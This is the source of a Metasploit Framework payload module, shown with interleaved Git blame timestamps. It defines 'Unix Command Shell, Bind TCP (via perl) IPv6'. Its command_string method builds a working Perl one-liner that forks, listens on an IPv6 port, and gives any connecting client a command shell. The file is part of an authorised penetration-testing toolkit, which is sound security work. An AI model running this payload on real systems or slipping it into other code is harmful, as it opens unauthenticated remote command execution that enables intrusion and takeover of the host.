metasploit-framework/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb

54 lines
1.4 KiB
Ruby
Raw Normal View History

2011-12-14 06:27:18 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2011-12-14 06:27:18 +00:00
##
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
2016-03-08 13:02:44 +00:00
module MetasploitModule
2011-12-14 06:27:18 +00:00
CachedSize = 152
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6',
'Description' => 'Listen for a connection and spawn a command shell via perl',
2014-07-11 17:45:23 +00:00
'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
2013-08-30 21:28:54 +00:00
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
return cmd
end
2011-12-14 06:27:18 +00:00
end